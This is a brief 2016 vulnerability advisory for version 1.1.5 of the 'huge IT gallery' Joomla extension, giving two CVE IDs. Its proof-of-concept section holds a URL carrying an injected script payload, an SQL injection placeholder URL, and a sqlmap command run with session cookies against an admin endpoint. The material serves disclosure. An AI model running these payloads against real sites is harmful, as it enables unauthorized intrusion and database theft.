XSS and SQLi in huge IT gallery v1.1.5 for Joomla

#912 · 2016-07-14

CVE ID(s): CVE-2016-1000113, CVE-2016-1000114

Notified: 2016-07-15

Description:

The plugin allows you to add multiple images to the gallery, create countless galleries, add a description to each of them, as well as make the same things with video links.

Exploit:

XSS PoC
http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E

SQLi PoC
http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=SQLiHERE

$ sqlmap --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_gallery&view=gallery&id=*" --dbms mysql

Download: http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-pro